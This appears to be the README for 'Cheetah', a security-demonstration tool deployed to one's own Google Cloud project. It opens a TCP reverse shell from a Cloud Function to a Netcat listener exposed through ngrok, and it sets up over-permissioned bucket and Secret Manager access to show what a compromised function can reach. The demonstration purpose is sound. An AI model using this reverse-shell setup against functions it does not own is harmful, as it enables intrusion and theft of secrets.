Cheetah is a Go function that can be deployed to the Google Cloud Platform to establish a TCP reverse shell for the purposes of introspecting the Cloud Functions container runtime.
Follow these steps to generate a credentials file. Deploy the function by specifying your GCP project ID and the absolute path of the credentials file.
cd /PATH/TO/cheetah/src/cheetah
npm install
# Optional: Create protected storage bucket that the function role has access to.
export WITH_BUCKET=true
export BUCKET_SUFFIX=$(uuidgen | cut -b 25-36 | awk '{print tolower($0)}') # Save this value for future sessions.
GCP_PROJECT=YOUR_GOOGLE_CLOUD_PLATFORM_PROJECT_ID GCP_CREDENTIALS_FILE=/ABSOLUTE/PATH/TO/.gcloud/keyfile.json npx serverless deploy
In addition to deploying the function, if WITH_BUCKET=true
and BUCKET_SUFFIX
is set, this will create a private storage bucket. The function role will have unnecessary permissions to access the bucket.
To upload a secret image to the bucket, run the following:
gcloud auth activate-service-account --key-file /PATH/TO/.gcloud/keyfile.json
gsutil cp /PATH/TO/assets/* "gs://cheetah-$BUCKET_SUFFIX"
You can also use Cheetah to demonstrate how a compromised function could be used to access the GCP Secret Manager. In order to set this up:
- Enable "Secret Manager API" in the API dashboard.
- Recreate your service account and add the "Secret Manager Admin" role.
- As the Serverless Framework always uses the App Engine default service account,
- Run the following:
gcloud config set project YOUR_GOOGLE_CLOUD_PLATFORM_PROJECT_ID # If you receive a warning like the following, you can just ignore it: WARNING: You do not appear to have access to project [...] or it does not exist.
gcloud secrets create cheetah-database-password --replication-policy automatic
echo -n 'RG9ncyBhcmUgb3VyIGxpbmsgdG8gcGFyYWRpc2UuIFRoZXkgZG9uJ3Qga25vdyBldmlsIG9yIGplYWxvdXN5IG9yIGRpc2NvbnRlbnQu' | gcloud secrets versions add cheetah-database-password --data-file="-"
gcloud secrets add-iam-policy-binding cheetah-database-password --member serviceAccount:YOUR_GOOGLE_CLOUD_PLATFORM_PROJECT_ID@appspot.gserviceaccount.com --role roles/secretmanager.secretAccessor
To deploy natively without the serverless framework, configure gcloud
in the Terminal to authentication as the deployment service account. Then, deploy the function.
gcloud auth activate-service-account --key-file ~/.gcloud/keyfile.json
gcloud functions deploy cheetah --entry-point Cheetah --runtime go111 --trigger-http --service-account=YOUR_GOOGLE_CLOUD_PLATFORM_PROJECT_ID@appspot.gserviceaccount.com
If you have Netcat and ngrok installed, you can use this script:
script/cheetah --url-id YOUR_GOOGLE_CLOUD_PLATFORM_PROJECT_ID
See here for more details on how to use this script.
Alternatively, you can do this manually by setting up a Netcat listener like so:
nc -l 4444
Then, to make your listener accessible from the public internet, consider using a service like ngrok:
ngrok tcp 4444
Finally, invoke your function, supplying your connection details:
curl "https://$GCP_REGION-YOUR_GOOGLE_CLOUD_PLATFORM_PROJECT_ID.cloudfunctions.net/Cheetah?host=YOUR_PUBLICLY_ACCESSIBLE_HOST&port=YOUR_PORT_NUMBER"
Your listener will now act as a reverse shell for the duration of the function invocation. You can adjust the function timeout in the serverless.yml file.
cd /PATH/TO/cheetah/src/cheetah
GCP_PROJECT=YOUR_GOOGLE_CLOUD_PLATFORM_PROJECT_ID GCP_CREDENTIALS_FILE=/ABSOLUTE/PATH/TO/.gcloud/keyfile.json npx serverless remove
cd /PATH/TO/cheetah/src/cheetah
go get -u golang.org/x/lint/golint
npm run lint
Read documentation on what you can accomplish once you connect to the runtime via Cheetah.
Creating the original function template using the serverless framework.
cd src
serverless create --template google-go --path cheetah
Refer to Serverless Docs for more information.